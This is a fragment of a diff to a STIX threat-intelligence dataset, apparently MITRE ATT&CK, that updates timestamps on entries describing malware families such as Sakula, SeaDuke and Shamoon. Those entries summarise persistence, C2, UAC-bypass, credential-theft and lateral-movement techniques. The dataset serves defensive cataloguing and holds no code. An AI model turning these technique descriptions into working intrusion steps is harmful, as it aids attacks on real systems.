+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to retrieve information about connected users.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50498,7 +60306,7 @@
             "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to obtain a directory listing.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
@@ -50519,7 +60327,7 @@
             "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE communicates with its C2 server over HTTP.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
@@ -50540,7 +60348,7 @@
             "id": "relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE encrypts C2 traffic using AES with a static key.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
@@ -50561,7 +60369,7 @@
             "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE is capable of executing commands and spawning a reverse shell.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
@@ -50582,7 +60390,7 @@
             "id": "relationship--c75cc595-79d7-4a77-9647-d2323aad93d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SNUGRIDE establishes persistence through a Registry Run key.",
             "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
@@ -50603,7 +60411,7 @@
             "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE communicates via DNS for C2.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -50624,7 +60432,7 @@
             "id": "relationship--c3ee174d-fd40-4636-97b2-afe80854f987",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of enumerating and manipulating files and directories.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -50645,7 +60453,7 @@
             "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of enumerating application windows.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -50666,7 +60474,7 @@
             "id": "relationship--6592447f-31c8-46d0-8e88-47584fa301f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of modifying the Registry.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -50687,7 +60495,7 @@
             "id": "relationship--5c4e0ddb-57a1-440f-82ab-146847c99be8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SOUNDBITE is capable of gathering system information.",
             "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
@@ -50708,7 +60516,7 @@
             "id": "relationship--689c51b8-7e41-474e-abf6-ffdde0acc40b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50729,7 +60537,7 @@
             "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP copies staged data to removable drives when they are inserted into the system.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50750,7 +60558,7 @@
             "id": "relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP identifies files and directories for collection by searching for specific file extensions or file modification time.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50771,7 +60579,7 @@
             "id": "relationship--9e214d5b-7d46-4135-bc42-4caab16b39d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50792,7 +60600,7 @@
             "id": "relationship--23df6015-0167-481c-84aa-3d15d3e38a85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Data SPACESHIP copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50813,7 +60621,7 @@
             "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
@@ -50834,7 +60642,7 @@
             "id": "relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses HTTP for C2.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50855,7 +60663,7 @@
             "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most Sakula samples maintain persistence by setting the Registry Run key <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> in the HKLM or HKCU hive, with the Registry value and file name varying by sample.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50876,7 +60684,7 @@
             "id": "relationship--d64ba78c-a332-40be-8e2f-904f15ceffe7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Sakula samples install themselves as services for persistence by calling WinExec with the <code>net start</code> argument.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50897,7 +60705,7 @@
             "id": "relationship--5c34be50-c7be-40c2-80bb-f3bc7db5cdd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50918,7 +60726,7 @@
             "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses single-byte XOR obfuscation to obfuscate many of its files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50939,7 +60747,7 @@
             "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula calls cmd.exe to run various DLL files via rundll32.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50960,7 +60768,7 @@
             "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. Sakula also has the capability to invoke a reverse shell.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -50981,7 +60789,7 @@
             "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula contains UAC bypass code for both 32- and 64-bit systems.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -51002,7 +60810,7 @@
             "id": "relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some Sakula samples use cmd.exe to delete temporary files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -51023,7 +60831,7 @@
             "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula has the capability to download files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -51044,7 +60852,7 @@
             "id": "relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula encodes C2 traffic with single-byte XOR keys.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
@@ -51065,7 +60873,7 @@
             "id": "relationship--9ef645ab-afd1-41d6-ad60-d207fd134748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51086,7 +60894,7 @@
             "id": "relationship--76333b56-47b1-40c6-9223-c4cf6673362f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51107,7 +60915,7 @@
             "id": "relationship--02a7ea5c-695c-4932-9160-6e0441789670",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to use pass the ticket with Kerberos for authentication.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51128,7 +60936,7 @@
             "id": "relationship--6f8cef32-d057-40f8-be52-62d86b1049e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke can securely delete files, including deleting itself from the victim.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51149,7 +60957,7 @@
             "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51170,7 +60978,7 @@
             "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51191,7 +60999,7 @@
             "id": "relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51212,7 +61020,7 @@
             "id": "relationship--32864e94-8581-4f77-bf7d-53aaf3710f60",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51233,7 +61041,7 @@
             "id": "relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke has been packed with the UPX packer.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51254,7 +61062,7 @@
             "id": "relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51275,7 +61083,7 @@
             "id": "relationship--cfc64939-1c2c-4bc0-bfac-3492667b1bcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of persisting via a .lnk file stored in the Startup directory.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51296,7 +61104,7 @@
             "id": "relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke C2 traffic is base64-encoded.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51317,7 +61125,7 @@
             "id": "relationship--c8d0e862-20af-4f9f-84e8-0419c8080008",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke C2 traffic has been encrypted with RC4 and AES.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51343,7 +61151,7 @@
             "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of uploading and downloading files.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51364,7 +61172,7 @@
             "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke is capable of executing commands.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51385,7 +61193,7 @@
             "id": "relationship--45522d60-160a-4c07-bd98-9a487175910e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke compressed data with zlib prior to sending it over C2.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
@@ -51406,7 +61214,7 @@
             "id": "relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon obtains the target's IP address and local network segment.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51427,7 +61235,7 @@
             "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon scans the C-class subnet of the IPs on the victim's interfaces.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51448,7 +61256,7 @@
             "id": "relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to access the <code>ADMIN$</code>, <code>C$\\Windows</code>, <code>D$\\Windows</code>, and <code>E$\\Windows</code> shares on the victim with its current privileges.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51469,7 +61277,7 @@
             "id": "relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51490,7 +61298,7 @@
             "id": "relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon accesses network share(s), enables share access to the target device, and copies an executable payload to the target system, and uses a Scheduled Task to execute the malware.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51511,7 +61319,7 @@
             "id": "relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> to 1.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51537,7 +61345,7 @@
             "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon copies an executable payload to the target system by using Windows Admin Shares and then scheduling an unnamed task to execute the malware.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51563,7 +61371,7 @@
             "id": "relationship--86c9bd0f-4251-4103-9be5-65079750c495",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to overwrite operating system files with image files.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51589,7 +61397,7 @@
             "id": "relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon contains base64-encoded strings.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51610,7 +61418,7 @@
             "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to disable UAC remote restrictions by modifying the Registry.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51631,7 +61439,7 @@
             "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d to execute the payload.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51652,7 +61460,7 @@
             "id": "relationship--3c630128-27ba-4c71-b09a-c9ac39e7acac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d that attempts to appear legitimate; the service's display name is \u201cMicrosoft Network Realtime Inspection Service\u201d and its description is \u201cHelps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.\u201d",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51673,7 +61481,7 @@
             "id": "relationship--73a53379-746e-46db-b101-1fc45df5e458",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d to execute the payload.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
@@ -51694,7 +61502,7 @@
